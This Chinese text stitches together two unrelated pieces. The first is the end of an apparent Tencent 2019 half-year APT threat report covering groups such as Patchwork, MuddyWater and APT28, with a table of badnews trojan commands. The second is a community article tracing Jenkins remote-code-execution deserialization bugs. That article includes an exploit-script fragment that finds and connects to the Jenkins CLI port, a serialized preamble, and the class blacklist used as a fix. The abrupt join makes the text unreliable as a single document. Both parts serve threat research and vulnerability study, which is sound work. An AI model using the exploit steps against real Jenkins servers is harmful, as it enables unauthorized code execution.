白象组织，也叫摩诃草、Patchwork、HangOver，也是经常针对中国大陆进行攻击的组织，除了中国大陆的目标外，巴基斯坦也是该组织的主要目标。该组织的攻击活动以窃取敏感信息为主，最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击。该组织的常用特马包括badnews、qrat等。
2019年上半年，虽然该组织频繁的针对巴基斯坦、孟加拉等目标进行了攻击活动，但是针对中国大陆的攻击相对比较平静。但是我们也有发现该组织旗下的badnews特马所使用的github等公共平台的配置的C2在2019年也进行了频繁的更新。
图20：白象的badnews特马所配置C&C的页面
可以看到，真正的C&C地址，使用的是拼音，很有中国特色：
图21：白象的badnews特马C&C通信包
命令号 | 功能
---|---
0 | 退出木马进程，结束控制
8 | 获取键盘记录：上传TPX498.dat，即键盘记录文件
23 | 获取截屏：截屏并存储为TPX499.dat，并上传
13 | 上传文件：读取指定文件内容写入到AdbFle.tmp，并上传
4 | 获取文档文件目录列表：上传edg499.dat并删除，再运行一次木马自身
5 | 上传指定路劲的文件
33 | 下载文件：从指定URL下载文件，并执行
表4：badnews特马的命令号和功能
### 3.3.3 Gorgon Group
Gorgon
Group是一个比较特殊的攻击组织，该组织主要针对包括中国在内的全球外贸人士进行攻击，行为类似于腾讯安全御见威胁情报中心多次披露的"商贸信"。但是特别的是，Gorgon
Group还被发现有针对英国、西班牙、俄罗斯、美国等政治目标发起过定向攻击。该组织最早在2018年8月份由Palo Alto的Unit42团队进行了披露。
该组织主要的武器库为一些公开的商用的RAT木马，包括Azorult RAT、Revenge
RAT、NjRAT、Lokibot等。同时该组织还喜欢使用Bitly短域名，以及使用公开的blog和临时分享文本站点pastebin来存储攻击代码。
2019年上半年，该组织依然持续的对全球的外贸人士进行了攻击，当然中国的外贸人士也包含在内。主题包括订单、邀请函、快递等等。
图22：使用pastebin存储攻击代码
图23：使用blogspot存储攻击代码
## 3.4 其他方向的威胁
其他方向的威胁主要来自欧美国家，典型代表如方程式、Turla等。其中方程式组织被曝光于2015年初，其活动时间最早可追溯至2001年，在2017年时，该组织被Shadow
Brokers（影子经纪人）组织黑吃黑攻陷，几乎全部资料外泄。从曝光的材料来看其拥有强大的漏洞利用能力，且多个0day漏洞已使用数年之久，包括后来被WannaCry木马利用的“永恒之蓝”漏洞都是出自该组织之手，根据曝光的信息，中国有大量的重要目标被该组织贡献，总数位列所有被攻击国家之首。该组织的攻击方式大多从重要目标防火墙、路由器等入手，通过漏洞层层植入木马，技术手段十分高超，因此长时间未被发现。从方程式被曝光之后，该组织未被发现有新的活动迹象，可能是该组织另起炉灶，完全使用新的木马进行攻击，也可能是使用更先进的技术使得自己更加隐蔽，我们也在持续挖掘很跟进中。
可以看到，被方程式组织攻陷的目标，位于中国的最多：
图24：方程式攻击目标发布
而APT28、Turla组织被认为具有俄罗斯政府背景，其攻击目标以政治目的为主，有攻击国内目标的历史，但是在2019年上半年未发现其针对我们的活动迹象。因此不再具体描述。
# 四、国际APT攻击形势
高级持续性威胁（APT）被认为是地缘政治的延伸，甚至是战争和冲突的一部分，APT的活跃趋势也跟地缘政治等全球热点密切相关，全球APT攻击高发区域也是全球地缘政治冲突的敏感地域。2019年以来，国际形势瞬息万变且复杂，好多地区甚至都在战争的边缘，如美伊、印巴、委内瑞拉等。跟根据我们对2019年上半年APT攻击活动的分析，这些高危地区也恰恰是APT攻击活动的主要活跃地带。从而可知，网络战也慢慢变成国家间的政治博弈甚至是现代战争的重要部分。
跟之前的年度报告一样，我们依然把针对全球的威胁根据攻击组织的归属地，分几个重点的区域来进行描述，具体如下：
组织归属地 | 活跃代表
---|---
东亚 | Group123（APT37）、Lazarus、Hermit、Kimsuky
南亚 | BITTER（蔓灵花）、白象、SideWinder（响尾蛇）、Donot Team（肚脑虫）、TransparentTribe（ProjectM）
中东 | APT34、MuddyWater
欧洲 | APT28、Turla、Gamaredon、Buhtrap
表5：根据地域分布的全球威胁概况
## 4.1 东亚地区
东亚地区的威胁主要来自朝鲜半岛，虽然从2018年开始，半岛关系开始缓和，但是网络攻击并未停止脚步。主要的代表包括Hermit、Group123、Lazarus等。
### 4.1.1 Hermit和Kimsuky
Hermit攻击活动主要针对区块链、数字货币、金融目标等，但是我们也发现了同样针对朝鲜相关的外交实体的一些攻击活动。该组织的攻击活动腾讯安全御见威胁情报中心曾在2018年下半年进行了详细的披露，在2019年上半年我们同样捕捉到了该组织的多次攻击活动，同样发布了详细的攻击报告。
该组织旗下的特马包括SYSCON/Sandy、KONNI等。而根据国外的安全公司ESTsecurity的报告，该组织跟另一个攻击组织Kimsuky组织有一定的关联。
图25：KONNI和Kimsuky的代码流程示意图（引用自ESTsecurity报告）
该组织2019年上半年的新活动，跟之前的活动相比，技术手段类似，但是也有一定的更新，如通过下载新的doc文档来完成后续的攻击以及使用AMADEY家族的木马。而最终目标依然为运行开源的babyface远控木马。此外，传统的Syscon/Sandy家族的后门木马也依然活跃。
图26：2019年上半年Hermit活动的钓鱼诱饵文档
图27：2019年上半年Hermit活动的钓鱼诱饵文档
图28：2019年上半年Hermit活动所使用的后门AMADEY后台
而同样Kimsuky也是2019年上半年在半岛地区活动异常频繁的攻击组织，该组织的攻击对象主要是跟朝鲜相关的政治目标，而钓鱼诱饵往往是当前的政治热点内容。攻击诱饵有很大一部分是hwp文档。
图29：Kimsuky的攻击诱饵信息（引用自ESTsecurity报告）
图30：Kimsuky某次攻击活动的攻击流程图（引用自ESTsecurity报告）
### 4.1.2 Lazarus
Lazarus组织被认为是朝鲜最著名的攻击组织，该组织被认为是攻击索尼公司、孟加拉国银行等攻击活动的幕后黑手，甚至连震惊全球的Wanacry勒索病毒事件也被认为是该组织所为。
近些年来，该组织主要目标包括金融公司、虚拟货币交易所等目标。而在2019年上半年，该组织就对新加坡的DragonEx交易所、OKEX交易所等目标进行了攻击活动。
图31：GragonEX交易所发布的攻击公告
## 4.2 南亚地区
南亚地区的威胁，主要集中在印巴之间。而印巴之间的关系一直以来都比较紧张，在过去的多年，围绕克什米尔地区，冲突不断。进入2019年来，冲突持续升级。
随着政治上的关系恶化，该地区的网络战在同时期也进入了一个高潮。代表组织主要有BITTER（蔓灵花）、白象、Donot（肚脑虫）、SideWinder（响尾蛇）、TransparentTribe等。
### 4.2.1 SideWinder（响尾蛇）
SideWinder（响尾蛇）为疑似来自印度的 APT
攻击组织，该组织持续针对巴基斯坦等南亚国家的军事目标进行了定向攻击。该组织最早被腾讯安全御见威胁情报中心在2018年进行了披露，而根据腾讯安全御见威胁情报中心对该组织的攻击溯源结果来看，该组织的最早的攻击活动可以追溯到
2012 年。而在2019年2月，腾讯安全御见威胁情报中心再次详细披露了该组织的一些攻击活动。
在2019年上半年，该组织的攻击活动也并未停止，相反还比较活跃。但是技术上并未有太大的改变，相关的攻击技术细节可以参考腾讯安全御见威胁情报中心之前的详细分析报告。
图32：SideWinder的钓鱼邮件
图33：SideWinder的钓鱼诱饵内容
该组织的特马主要采用VB编写，后门功能包括收集用户信息、记录键盘和鼠标的操作等。并且使用白加黑的手段来进行加载。如常用的：
图34：SideWinder组织常用的白加黑组合
图35：SideWinder组织常用的VB后门代码框架
### 4.2.2 白象
白象主要攻击巴基斯坦的政府部门、科研机构等。2019年上半年频繁的针对巴基斯坦的目标进行了攻击。腾讯安全御见威胁情报中心也披露了白象的攻击活动。
图36：白象的攻击诱饵
图37：白象的攻击诱饵内容翻译
图38：保存受害者信息的FTP地址
此外，白象还频繁的使用badnews后门对巴基斯坦的目标进行了攻击活动：
图39：白象的攻击诱饵
图40：白象的攻击诱饵
图41：github上存储C&C信息的页面
### 4.2.3 Donot（肚脑虫）
Donot
Team是2018年被曝光的APT攻击组织，最早在2018年3月由NetScout公司的ASERT团队进行了披露，随后国内的厂商奇安信也进行了披露。该组织主要针对巴基斯坦进行攻击活动。
2019年上半年该组织也相当活跃，对巴基斯坦的目标进行了多次的攻击活动：
图42：Donot Team的攻击诱饵
图43：Donot Team的攻击诱饵执行的bat内容
除了拥有PC端上的攻击能力，该组织同样拥有移动端的攻击能力：
图44：Donot Team的安卓木马的流程（引用自奇安信博客的分析）
### 4.2.4 TransparentTribe
TransparentTribe
APT组织，又称ProjectM、C-Major，是一个来自巴基斯坦的APT攻击组织，主要目标是针对印度政府、军事目标等。该组织的活动最早可以追溯到2012年。该组织的相关活动在2016年3月被proofpoint披露，趋势科技随后也跟进进行了相关活动的披露。
2019年上半年，该组织也对相关目标进行了多次攻击活动：
图45：TransparentTribe的攻击诱饵
事项 | 说明
---|---
攻击目标 | 印度政府、军事目标等
投递方式 | 鱼叉攻击
诱饵类型 | 带有VBA宏的doc、xls文档等。并且把相关的内容和恶意文件以整形的数据形式存放在窗体控件中。
诱饵内容 | 以攻击目标感兴趣的新闻和通知等内容
特马家族 | CrimsonRAT、.net loader、.net droper、PeppyRAT
攻击目的 | 窃取相关资料文件
表6：TransparentTribe组织的TTPs整理
而经过腾讯安全御见威胁情报中心的数据溯源，该组织疑似跟巴基斯坦另外一个组织Gorgon Group有一定的关联：
图46：TransparentTribe和Gorgon关联示意图
## 4.3 中东地区
中东地区向来是世界局势的火药桶，该地区是世界上政治最复杂的地区。此外，大量的恐怖袭击、局部冲突等也在此地区大量的出现。随之而来的是，该区域的网络安全形势也非常复杂和严峻，是整个2019年上半年，网络攻击最频繁、最为热闹的地区。
该地区的攻击组织力量主要以伊朗的攻击组织为主，包括MuddyWater、APT34、DarkHydrus等。
### 4.3.1 MuddyWater
MuddyWater（污水）APT组织是2019年上半年曝光度最高的APT组织，也是2019年上半年全球最活跃的APT攻击组织，国内外多家安全公司都曝光过该组织的一些攻击行动，安全社区里也有大量的安全研究人员讨论该组织攻击活动。腾讯安全御见威胁情报中心也多次曝光过MuddyWater组织的攻击活动。
MuddyWater组织是一个疑似来自伊朗的攻击组织，该组织的攻击目标主要集中在中东地区以及包括塔吉克斯坦、白俄罗斯等在内的前苏联国家，攻击的对象主要集中在外交部、国防部等政府部门。
MuddyWater组织偏爱使用采用模糊显示以及宏代码加载的诱饵文件。并在2019年更新了其攻击TTPs，如宏代码拼接内置硬编码字符串写入VBE；利用注册表，自启动文件夹启动VBE等，此外在受害者选择上也更为精确，通过第一阶段后门反馈的受害者信息挑选目标进行下一步持久化等。
图47：MuddyWater针对塔吉克斯坦攻击的诱饵文档
图48：MuddyWater组织的BlackWater的攻击活动
图49：MuddyWater组织使用的powershell后门
而令人意外的是，2019年5月初，有人在telegram上售卖MuddyWater早期的C&C服务端的代码，随后被泄露。而该信息跟2019年4月趋势科技关于MuddyWater的报告中提到的他们监控到该组织在telegram泄露了C&C服务端源代码和受害者信息相吻合。
图50：在telegram上售卖的MuddyWater服务端源码
图51：MuddyWater服务端运行后界面
### 4.3.2 APT34
APT34，又被成为OilRig，同样是被认为是来自伊朗的APT攻击组织。跟MuddyWater一样，在2019年上半年，APT34所使用的攻击工具，也被黑客泄露。该泄露事件虽然未引起像之前Shadow
Brokers（影子经纪人）泄露NSA工具包那样来的轰动，但是也在安全界引起了不少的关注和讨论。
图52：APT34的工具包的完整文件目录
可以看到，里面的被攻击目标包括阿联酋、科威特、约旦等。此外工具包里还包括了一份webshell列表，其中也包括多个中国网站的webshell：
图53：APT34的工具包里泄露的webshell列表
## 4.4 欧洲地区
该地区主要以东欧的攻击组织为代表，如APT28、Turla、Gamaredon等。而2019年上半年，这些攻击组织也主要围绕以乌克兰为主的东欧地区开展了网络攻击活动。
### 4.4.1 Gamaredon
Gamaredon
group是2017年第一次被披露的一个疑似俄罗斯政府背景的黑客组织，其活动最早可追溯至2013年。该组织常年攻击乌克兰政府、国防、军队等单位。2019年以来，我们又陆续发现了大量针对乌克兰政府部门的鱼叉攻击恶意邮件，诱饵文件内容主要包括乌克兰议会、法院调查文件、克里米亚等时政热点问题。
图54：Gamaredon组织的钓鱼攻击邮件
图55：Gamaredon组织的钓鱼攻击诱饵内容
### 4.4.2 APT28
我们在2018年的年终报告里提到了APT28是2018年最为活跃的攻击组织。而在2019年上半年，该组织的攻击活动相比2018年有所减少，但是依然相当活跃，并发起了多次的攻击活动。如2019年3月，该组织使用0day漏洞攻击了乌克兰政府，疑似试图干预乌克兰大选。
图56：APT28组织所使用的攻击诱饵文档
而该组织的攻击武器库也非常强大，使用的语言也非常丰富，包括delphi、C#、C++、GO语言等。
### 4.4.3 Turla
Turla，又名Snake，Uroburos，Waterbug，被认为是来自俄罗斯的APT攻击组织，该组织从2007年开始活跃至今。该组织的攻击目标包括欧盟的一些政府目标，如外交实体，也包括一些私营企业。
在2019年上半年，国外安全公司ESET曝光率该组织使用新的powershell武器针对东欧的外交实体进行了攻击活动。
图57：Turla的攻击目标（引用ESET关于Turla的报告）
图58：Turla的攻击流程示意图（引用ESET关于Turla的报告）
# 五、威胁变化趋势及未来预测
## 5.1 网络攻击民生化
随着基础设施的智能化，给了通过网络攻击破坏电力、交通、能源等领域的能力。而2017年的乌克兰大停电被乌克兰安全部门确认为是一起针对电力公司的网络恶意攻击事件，攻击者是APT组织BlackEnergy。而2019年南美洲的委内瑞拉大停电也被认为可能是黑客攻击导致，近期南美洲的阿根廷、乌拉圭也相继发生全国性大规模停电，其背后可能也与电力公司遭遇网络攻击相关。随着数字化智能化的普及，未来在交通、能源、通讯等各个领域都可能遭遇APT攻击威胁，影响大规模民生的系统都应在网络安全上早做防备。
## 5.2 网络攻击军事化
伊朗击落无人机，美伊网络战，近日，中东局势的恶化，美国无人机在侦查时被伊朗导弹击落，随后美国发动网络攻击进行报复，据悉网络攻击由美国网络司令部发起，伊朗的导弹控制系统也成为美方攻击的目标，这些攻击意在回应针对油轮的攻击以及美国无人机被击落的事件，随着战场无人化的发展，可以预见的未来网络攻击的军事属性会越来越强。
## 5.3 APT武器民用化
席卷全球的 Wannacry
勒索软件事件还记忆犹新，该木马最核心的部分为当年泄漏不久的网络核武库“永恒之蓝”漏洞，该漏洞原本由方程式组织使用多年，但因为方程式组织被Shadow
Brokers组织攻击导致包括多个0day漏洞在内的资料全部外泄，从而导致原本军工级的网络武器被被用于攻击平民，造成了严重的危害，而这种事情一直都在发生：
图59：近些年来的APT武器库的泄露情况
而APT攻击武器的泄露，也导致了APT武器的民用化，如大量的僵尸网络使用“永恒之蓝”漏洞进行传播。
## 5.4 攻击溯源复杂化
APT组织之间互相伪装，通过代码和基础设施都难以确定组织归属，部分组织尤其是朝鲜半岛的APT组织之间互相伪装，特意在自己的代码中加入对方木马的特征，以迷惑对方及安全分析人员，而公共基础设施的利用，如SYSCON使用免费FTP作为C&C服务器，Group123组织使用dropbox作为C&C服务器，而使用CDN作为C&C流量中转的攻击也已经出现。
随着各国对网络安全越来越重视，未来攻击者可能会花费更多的精力在自己身份的隐藏和伪装上，这样会给威胁溯源增加更大的困难。
## 5.5 APT威胁往移动端扩散
随着移动互联网的普及，越来越多的机密载体转移到了移动设备中，2019年，多个APT组织的移动端木马相继被发现和披露，包括海莲花、donot
Team都已经使用了Android的恶意程序等。高级持续威胁不再限于计算机，未来如智能路由等可能陆续成为APT攻击的目标和持久化的宿主。
# 六、总结
2019年被称作5G元年，我们的网络正朝着多元化、宽带化、综合化、智能化的方向发展，越来越多的设备、越来越多的信息接入到了互联网中，即将开启一个万物互联的大时代，国家之间的APT与反APT的无硝烟战争将会更加频繁，更加激烈。没有网络安全就没有国家安全将会体现得淋漓尽致。
# 七、安全建议
1、
各大机关和企业，以及个人用户，及时修补系统补丁和重要软件的补丁，尤其是最新APT常用漏洞CVE-2018-20250以及最近高危漏洞CVE-2019-0708漏洞补丁；
2、 提升安全意识，不要打开来历不明的邮件的附件；除非文档来源可靠，用途明确，否则不要轻易启用Office的宏代码；
3、
使用杀毒软件防御可能得病毒木马攻击，对于企业用户，推荐使用腾讯御点终端安全管理系统。腾讯御点内置全网漏洞修复和病毒防御功能，可帮助企业用户降低病毒木马入侵风险；
图60：腾讯御点终端安全产品图
4、
使用网络防火墙等产品，推荐使用腾讯御界高级威胁检测系统。御界高级威胁检测系统，是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统，可快速检测、发现可疑APT组织的攻击行动。
图61：腾讯御界高级威胁监测系统界面
# 八、附录
## 8.1 附录1：腾讯安全御见威胁情报中心
腾讯安全御见威胁情报中心，是一个涵盖全球多维数据的情报分析、威胁预警分析平台。依托腾讯安全在海量安全大数据上的优势，通过机器学习、顶尖安全专家团队支撑等方法，产生包括高级持续性攻击（APT）在内的大量安全威胁情报，帮助安全分析人员快速、准确对可疑事件进行预警、溯源分析。
腾讯安全御见威胁情报中心公众号自开号以来，发布了大量的威胁分析报告，包括不定期公开的针对中国大陆目标的APT攻击报告，无论是分析报告的数量上还是分析报告的质量上，都处于业界领先水平，受到了大量客户和安全专家的好评，同时发布的情报也经常被政府机关做为安全预警进行公告。
以下是腾讯安全御见威胁情报中心公众号的二维码，关注请扫描二维码：
## 8.2 附录2：参考链接
1、 <https://blog.alyac.co.kr/2347?category=957259>
2、 <https://blog.alyac.co.kr/2243?category=957259>
3、 <https://www.secrss.com/articles/9511>
4、 <https://mp.weixin.qq.com/s/K3Uts9Cb65L-2scf2XoFcg>
5、 <https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/>
6、
<https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf>
7、 <https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf>
8、 <https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html>
9、 <https://blog.yoroi.company/research/the-russian-shadow-in-eastern-europe-a-month-later/>
10、<https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/>
11、<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/>
下载报告全文：<https://s.tencent.com/files/apt-report-201907.pdf>
* * * | 社区文章 |
# Jenkins RCE漏洞分析汇总
## 0x01 前言
之前针对Jenkins没注意看过，看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins，包括今年开年时候orange发的Jenkins的组合拳，拖拖拉拉到了年底还没看，所以准备开始看。
这里根据Jenkins的漏洞触发点做了一个归类，一种是通过cli的方式触发，一种是通过我们常见的http方式触发。
## 0x02 环境搭建
在catalina.sh添加，或者catalina.bat内容不动用如下命令开启，默认是开启8000端口
用如下命令开启
catalina.bat jpda start（Windows）
catalina.sh jpda start（linux）
## 0x03 漏洞分析
### Cli方式触发
#### CVE-2015-8103
最早开始公开Java 反序列化的时候，何使用 Apache Commons Collections 这个常用库来构造 POP
链（类ROP链），这个在Jenkins上的例子就是这个编号，但是网上对于这个调用链的过程都没有进行分析，所以这里分析一下。
先看看之前那些exp的脚本，这里可以看到漏洞触发已经是和Jenkins的cli有关系，且这里走tcp socket通信的。
response = requests.get(jenkins_web_url, headers=i_headers)
cli_port = int(response.headers['X-Jenkins-CLI-Port'])
print('[+] Found CLI listener port: "%s"' % cli_port)
sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = urlparse.urlparse(jenkins_web_url).netloc
try:
host, port = host.split(':')
except:
host = host
cli_listener = (socket.gethostbyname(host), cli_port)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)
跟进一下看看。
##### 漏洞分析
Jenkins cli的入口在这 **hudson.TcpSlaveAgentListener#ConnectionHandler**
，这个run构造方法，我们看到调用了p.handle方法。
handle也是一个抽象方法，这里根据前面的Protocol选择相关协议，这里的协议有两个一个是Cli，另一个是 **JnlpSlaveAgent**
。我们关注的其实是Cli这个东西。
跟进 **hudson.cli.CliProtocol#handle** ，这里实例化 **CliProtocol.Handler**
来处理，并且调用其中的run构造方法
public void handle(Socket socket) throws IOException, InterruptedException {
(new CliProtocol.Handler(this.nio.getHub(), socket)).run();
}
继续 **hudson.cli.CliProtocol$Handler.run** ，这里调用 **runcli** 针对socket连接进行处理。
继续跟进 **hudson.cli.CliProtocol$Handler.runCli** ，这的关键是下图标红色的地方。
这里调用 **hudson.remoting.ChannelBuilder#build** 来处理传入的buffer缓冲区的数据，跟进这个看看。
public Channel build(InputStream is, OutputStream os) throws IOException {
return new Channel(this, this.negotiate(is, os));
}
这里主要是调用 **this.negotiate** 来处理is和os，而is和os分别使我们缓冲区的输入和输出，跟进一下
**hudson.remoting.ChannelBuilder.negotiate**
**negotiate** 会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码（preamble），前导码格式通常为： **<
===[JENKINS REMOTING
CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=**,
该前导码包含一个经过base64编码的序列化对象，我们抓个包看到这个前导码，也看到发序列化头部base64编码之后的关键字 **rO0A** 。
然后继续循环往下走，调用 **Capability.read** 处理buffer中的内容。
跟进 **hudson.remoting.Capability#read** ，标准的反序列化的输入点了，之后就是调用 **Commons
Collections** 执行反序列化下一步的命令执行操作了。
##### 修复方式
**hudson.remoting.ClassFilter#check** 会检查是否在黑名单中。
目前默认的黑名单如下所示
private static final String[] DEFAULT_PATTERNS = new String[]{
"^bsh[.].*",
"^com[.]google[.]inject[.].*",
"^com[.]mchange[.]v2[.]c3p0[.].*",
"^com[.]sun[.]jndi[.].*",
"^com[.]sun[.]corba[.].*",
"^com[.]sun[.]javafx[.].*",
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",
"^java[.]awt[.].*",
"^java[.]rmi[.].*",
"^javax[.]management[.].*",
"^javax[.]naming[.].*",
"^javax[.]script[.].*",
"^javax[.]swing[.].*",
"^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*",
"^org[.]apache[.]myfaces[.].*",
"^org[.]apache[.]wicket[.].*",
".*org[.]apache[.]xalan.*",
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*",
"^org[.]python[.].*",
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*",
"^java[.]util[.]ServiceLoader$",
"^java[.]net[.]URLClassLoader$"};
#### CVE-2017-1000353
##### 漏洞分析
> * 漏洞编号： CVE-2017-1000353
> * 漏洞简述： Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins
> CLI处理，反序列化ObjectInputStream作为Command对象，这将绕过基于黑名单的保护机制, 导致代码执行。
> * 影响版本： Jenkins-Ci Jenkins LTS < = 2.46.1
>
所以从上面这段引用可以看到，漏洞触发还是和cli有关系，我们来详细看看，首先入口在 **hudson.cli.CLIAction**
中，代码根据HTTP头部中的 **side** 的值来区分是 **download** 还是 **upload** 操作，然后根据http头部中
**session** 里面的 **uuid** 的值来区分不同的会话通道。
先跟进看一下 **download** 操作，位置在 **hudson.model.FullDuplexHttpChannel#download**
，下图中已经将重要部分代码标红了，如果没有接收到 **upload** 请求，那么这时候 **download**
操作就会阻塞等待，直到upload操作过来，然后建立新的 **channel** 对象，来处理 **upload** 接收到的请求和响应。
所以这里就要跟进Channel，前面我们说过针对cli方式触发的时候，会调用 **negotiate**
来检查格式是否正确，所以这里进入构造方法，实际上是下图中的代码。
Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
this(settings, settings.negotiate(is, os));
}
跟进 **hudson.remoting.ChannelBuilder#negotiate** ，这里会调用 **makeTransport** 方法。
跟进 **makeTransport** 方法，位置在 **hudson.remoting.ChannelBuilder#makeTransport**
，这个方法会根据cap是否支持Chunking来返回不同的对象，分别是 **ChunkedCommandTransport** 和
**ClassicCommandTransport** 。
然后又进去 **hudson.remoting.Channel** 中的下图代码进行操作，这里红框圈出部分关键代码。这里会调用
**transport.setup** 处理对象 **CommandReceiver** 。
而setup也是一个抽象类，会调用 **hudson.remoting.SynchronousCommandTransport#setup**
这个回启东一个 **ReaderThread** 线程来处理传入的 **CommandReceiver** 对象。
public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
(new SynchronousCommandTransport.ReaderThread(receiver)).start();
}
跟进 **hudson.remoting.SynchronousCommandTransport#ReaderThread** ，这个方法会调用
**SynchronousCommandTransport.this.read**
而这里的read是个抽象类，目前这个流程中，他的实现方法在 **hudson.remoting.ClassicCommandTransport** 中。
public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(this.channel, this.ois);
if (this.rawIn != null) {
this.rawIn.clear();
}
return cmd;
} catch (RuntimeException var2) {
throw this.diagnoseStreamCorruption(var2);
} catch (StreamCorruptedException var3) {
throw this.diagnoseStreamCorruption(var3);
}
}
那么再跟进 **hudson.remoting.Command#readFrom** 就找到反序列化的触发点了。
##### 修复方式
[补丁地址](https://github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076)
我们可以看到本次修复，实际上引入了 **CVE-2015-8103** 的黑名单，并且将 **java.security.SignedObject**
本次的反序列化绕过方法加入这个黑名单中。
### HTTP方式触发
#### CVE-2018-1000861
##### 动态路由分析
首先 **Jenkins** 会将所有请求交给`org.kohsuke.stapler.Stapler`来进行处理。
<servlet>
<servlet-name>Stapler</servlet-name>
<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
<init-param>
<param-name>default-encodings</param-name>
<param-value>text/html=UTF-8</param-value>
</init-param>
<init-param>
<param-name>diagnosticThreadName</param-name>
<param-value>false</param-value>
</init-param>
<async-supported>true</async-supported>
</servlet>
跟进`org.kohsuke.stapler.Stapler`这个类中，简单缩减一下代码，如下所示：
protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {
Thread t = Thread.currentThread();
final String oldName = t.getName();
...
if (servletPath.startsWith(BoundObjectTable.PREFIX)) {
// serving exported objects
invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));
return;
}
...
Object root = webApp.getApp();
if(root==null)
throw new ServletException("there's no \"app\" attribute in the application context.");
// consider reusing this ArrayList.
invoke( req, rsp, root, servletPath);
} finally {
t.setName(oldName);
}
}
其中 **PREFIX** 的值是`/$stapler/bound/`。
public static final String PREFIX = "/$stapler/bound/";
也就是说在这里Jenkins会根据用户传入的URL不同，来调用不同的 **webapp** ，这里的invoke方法中有4个参数，它们分别是：
* req：请求对象
* rsp：响应对象
* root：webapp节点
* servletPath：经过路由解析后的对象
如果url以`/$stapler/bound/`开开头，那么它对应的root节点对象是：`webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)`，而这个root对象实际上如果不是动态调试静态看代码我是看不出来，所以我在这里下个断点，我可以看到这个root节点对象对应的类是
**hudson.model.Hudson** ，而这个类正是继承了 **jenkins.model.Jenkins** 。
继续向下跟进，跟进我们刚刚invoke方法，这个方法位置在 **org.kohsuke.stapler.Stapler#invoke** 。这个方法又调用了
**invoke** 来处理。
继续跟进，我们可以看到这里调用了 **org.kohsuke.stapler.Stapler#tryInvoke** 来进行处理。
详细跟进一下 **org.kohsuke.stapler.Stapler#tryInvoke** 这个方法，我截取部分代码如下：
boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {
if(traceable())
traceEval(req,rsp,node);
if(node instanceof StaplerProxy) {
...
}
if (node instanceof StaplerOverridable) {
...
}
if(node instanceof StaplerFallback) {
...
}
这里有三个根据不同的node节点进行相应操作`instanceof`，从代码中来看顺序应该是从上到下分别是：
* StaplerProxy
* StaplerOverridable
* StaplerFallback
而Jenkins这部分[Routing Requests](https://jenkins.io/doc/developer/handling-requests/routing/)其实在文档中也写了：
所以说文档中的描述和代码中看到的是一致的，所以 **tryInvoke**
这个方法实际上做哦那个就是完成路由的分发，路由的绑定操作等。我们可以看看当我们传入`/aa/bb/cc`的时候，路由是如何选择。
当我们传入`/aa/bb/cc`的时候，对应的root根对象是`hudson.model.Hudson`，所以这里向根据这个node获取一个
**metaClass** 对象，然后轮询 **MetaClass** 中的 **metaClass.dispatchers** 。
但是这里具体如何操作还是有点懵逼，这里还是慢慢的跟一下，用 **@orange**
文章的白名单路由来做个文章，后面也会详细分析，路由为`/securityRealm/user/test/`
，跟进`org.kohsuke.stapler.WebApp#getMetaClass`。
public MetaClass getMetaClass(Object o) {
return getMetaClass(getKlass(o));
}
在这里面又调用了 **getKlass** 和 **getMetaClass** ，先看看 **getKlass**
，这里最后的return操作实例化相关类对象，这里对应的自然是我们前面路由分析的时候，如果url不是以`/$stapler/bound/`开头，对应的对象自然是
__ hudson.model.Hudson** 。
public Klass<?> getKlass(Object o) {
...
return Klass.java(o.getClass());
}
我们再看看 **getMetaClass** ，在 **getMetaClass** 中首先获取传入的类对象，然后实例化 **MetaClass**
针对传入的对象进行处理。
跟进 **MetaClass** ，来详细看看，我们可以看到这就是通过我们刚刚实例化的Klass类，然后根据这个类获取相应信息，最后使用
**buildDispatchers**
/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {
this.clazz = klass.toJavaClass();
this.klass = klass;
this.webApp = webApp;
this.baseClass = webApp.getMetaClass(klass.getSuperClass());
this.classLoader = MetaClassLoader.get(clazz.getClassLoader());
buildDispatchers();
}
跟进 **org.kohsuke.stapler.MetaClass.buildDispatchers** ，其实从注释里面就知道这个方法干啥的了。
简单翻译一下这个是处理路由调度的核心，他通过反射使用相关的类，并且确认由谁处理这个URL，这部分代码很长，而且也能看得出来Jenkins给了用户足够多的自由度，但有时候其实就是给你的自由过了火导致的问题，从代中把这些全部梳理了出来：
<obj>.do<token>(...) and other WebMethods：do(...)或者@WebMethods标注
<obj>.doIndex(...)：doIndex(...)
<obj>js<token>:js(...)
method with @JavaScriptMethod:@JavaScriptMethod标注
NODE.TOKEN
